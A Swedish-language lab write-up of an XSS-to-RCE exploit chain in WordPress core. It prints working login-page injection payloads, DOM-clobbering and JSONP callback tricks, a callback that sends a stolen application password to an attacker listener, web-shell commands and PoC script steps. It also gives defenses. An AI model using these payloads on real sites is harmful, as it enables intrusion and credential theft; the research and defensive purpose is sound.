Endast auktoriserad testning.
Allt nedan kördes mot ett lokalt labb (WordPress 7.0.2 på localhos). Använd inte dessa tekniker mot system du inte äger eller har uttryckligt tillstånd att testa.
Sammanfattning för ledningen
XSS2Shell är inte en enskild bugg — det är en sju-stegs exploateringskedja som börjar med ett tecken (< följt av ett mellanslag) som kringgår två olika HTML-tolkare på WordPresss inloggningssida, och slutar med PHP som körs på servern som www-data.
Vad som gör det farligt:
- Steg 1 kräver ingen autentisering — vem som helst kan utlösa JavaScript på
wp-login.php. - Det finns i WordPress Core — inte ett plugin; praktiskt taget alla versioner som stötts sedan 2016 är drabbade.
- Det använder WordPresss egen kod —
user-profile.js, REST JSONP, Application Passwords, plugin-uppladdning — som gadgets. - Full RCE är demonstrerad och bekräftad av WordPress — även om det kräver att en inloggad administratör luras att klicka en gång.
Den här artikeln går igenom varje steg med skärmdumpar från vårt lokala labb.
Labbmiljön
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 på http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Varje WordPress-sida exponerar /wp-login.php. Den sidan är ingångspunkten för hela kedjan.
Steg 0: Parser-differentialen (grundorsak)
När inloggningen misslyckas återger WordPress det angivna användarnamnet i ett felmeddelande. Användarnamnet passerar genom två sanerare som är oense om vad ett "tagg" är:
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Nyttolasten använder ett mellanslag efter<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XPå sårbar WordPress 7.0.2 överlever detta sanering och blir ett aktivt DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
På patchad WordPress 7.0.4 HTML-escapas samma payload i felmeddelandet — inga aktiva element.
Denna bugg har funnits sedan WordPress 4.7 (2016) och missades av års säkerhetsgranskningar.
Steg 1: XSS utan autentisering (ingen inloggning krävs)
Injicerade DOM-noder matchar selektorer som WordPresss egna user-profile.js letar efter på inloggningssidan (laddas för lösenordsåterställningsflödet):
.reset-pass-submit .wp-generate-pwklickas automatiskt vid sidinläsning- Klicket bubblar till
#color-pickers delegerade hanterare - Skyddskontrollen
user_id === checkuser_idpasserar eftersom båda ärundefined - jQuery POST:ar till
ajaxurl— menajaxurlfinns inte på inloggningssidan…
Såvida vi inte clobbar den:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Elementet <area id=ajaxurl> blir window.ajaxurl. jQuery anropar .toString() → returnerar href. WordPress REST returnerar JSONP → jQuery globalEval() → alert()körs på WordPress-ursprunget.

Skicka in formuläret (eller öppna demo/stage1-preauth-xss.html och klicka på Kör steg 1):

Påverkan i detta steg enbart: autentiseringsfiske på den riktiga domänen, sessionskapning, same-origin API-anrop — utan någon autentisering.
Steg 2: Social ingenjörskonst — adminens klick
Steg 2–7 kräver att en inloggad administratör öppnar en angriparkontrollerad sida. Detta är friktionen som håller CVSS under 10 — men det är realistiskt vid riktade angrepp.
Administratören kan få: "Din session har gått ut — klicka här för att autentisera dig på nytt."

När man klickar, attackerarsidan:
- Öppnar ett barnfönster (
about:blank) - Omdirigerar huvudfönstret till WordPress sida för autentisering av applikationslösenord
- Skriver ett XSS-formulär till det underordnade popup-fönstret och skickar det automatiskt till
wp-login.php

Steg 3: Same-Origin Method Execution (SOME) — automatiskt godkännande
Det underordnade fönstrets XSS-nyttolast ändrar JSONP-återanropet från alert till:
window.opener.approve.clickWordPress REST omsluter svaret:
/**/window.opener.approve.click({...})Körtiden löser upp window.opener (överordnat fönster) → .approve (knappen #approve) → .click(). Knappen Godkänn för applikationslösenord klickas automatiskt — utan användarinteraktion på den sidan.

Observera återanrops-URL:en på sidan: inloggningsuppgifterna skickas till http://127.0.0.1:9090/callback?...&password=[------].
Steg 4: Inhämtning av applikationslösenord
WordPress skapar ett nytt applikationslösenord och omdirigerar till angriparens success_url med inloggningsuppgifterna i frågesträngen:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXAngriparen har nu HTTP Basic auth-uppgifter för WordPress REST API — från administratörens egen session, utan att administratören behövde skriva in något efter det första länkklicket.
Steg 5: Publicera angriparkontrollerad sida
Med hjälp av det stulna applikationslösenordet skickar angriparen en POST till /wp-json/wp/v2/pages och publicerar en sida med inbäddad JavaScript. Administratörer har behörigheten unfiltered_html — skripttaggar bevaras.
Steg 6: Plugin-uppladdning via adminsession
Angriparens JavaScript (som körs i administratörens webbläsare på den publicerade sidan):
- Hämtar
/wp-admin/plugin-install.php?tab=uploadför uppladdningens nonce - Skickar en POST med en skadlig ZIP till
/wp-admin/update.php?action=upload-plugin - WordPress packar upp den till
wp-content/plugins/xss2shell/
Pluginet behöver inte aktiveras. PHP-filer i pluginkatalogen är direkt tillgängliga via webben.
Steg 7: Fjärrkörning av kod
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiSvar:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Angriparen kan nu köra godtyckliga kommandon som webbserveranvändaren — läsa wp-config.php (databasuppgifter), dumpa databasen och röra sig lateralt.
Fullständig PoC-terminalutdata:

Den fullständiga kedjan i korthet
sequenceDiagram participant A as Angriparserver participant V as Offers webbläsare participant W as WordPress 7.0.2 Note over V,W: Administratören är inloggad V->>A: Öppnar nätfiskelänk (1 klick) A->>V: Angripar-HTML + barnfönster V->>W: Huvudfönster → authorize-application.php V->>W: Barn POSTar XSS-nyttolast till wp-login.php W->>V: JSONP kör window.opener.approve.click Note over V,W: Godkänn-knappen klickas automatiskt W->>A: Omdirigering med applikationslösenord A->>W: REST API publicerar sida (Basic auth) V->>W: Administratören besöker sidan → laddar upp plugin-ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-dataHur farligt är det egentligen?
Vad är garanterat (hög säkerhet)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Vad kräver ytterligare förutsättningar (RCE-väg)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Allvarlighetsgradering
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Sammanfattning: Detta är inte en maskspridningsbar zero-click RCE som Log4Shell. Det är en djupt teknisk sårbarhet på kärnnivå som påverkar ~43 % av webben där:
- Steg 1 ensamt är en allvarlig pre-auth XSS på inloggningssidan
- Den fullständiga kedjan omvandlar ett administratörsklick till ett serverintrång
- Grundorsaken (tolkningsskillnad) gäller för alla kodbaser som använder flera HTML-tolkare
WordPress eget säkerhetsmeddelande anger att RCE kräver "förhållanden utanför angriparens kontroll" och "framgångsrik social manipulation." Det stämmer — men den demonstrerade kedjan gör dessa förhållanden uppnåeliga med en enda länk.
Återskapa hela kedjan lokalt
# 1. Starta labbet make up # 2. Aktivera applikationslösenord på HTTP (endast labb) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Starta PoC-lyssnare python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. I webbläsaren: # a. Logga in som administratör på http://localhost:9080/wp-login.php # b. Öppna http://127.0.0.1:9091/phishing-sim.html # c. Klicka på "Öppna angriparsida" (tillåt popup-fönster) # d. Vänta på terminalutdata som visar skal + whoamiFörsvar
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Korrigeringen lägger till esc_html() för användarnamnet i inloggningsfelflödet — vilket säkerställer att strängen behandlas som text och inte tolkas om som HTML.
Varför detta är viktigt för säkerhetsforskning
Varje länk i kedjan är individuellt ointressant:
- Parserskillnad → låg allvarlighetsgrad för underhåll
- Fel skript laddas på inloggningssidan → låg
- JSONP-callback validerad med regex → medel
- Application Password i omdirigerings-URL → medel
- Plugin-katalogen kör PHP utan aktivering → känd design
Sammansatta är de CVSS 8,9 och ett skal.
Lärdomen: när du bedömer XSS-fynd, fråga "vad är redan laddat på den här sidan, och vad kommer det att göra om jag ger det rätt DOM-noder?" Allvarlighetsgrad är en egenskap hos kedjan, inte den enskilda buggen.



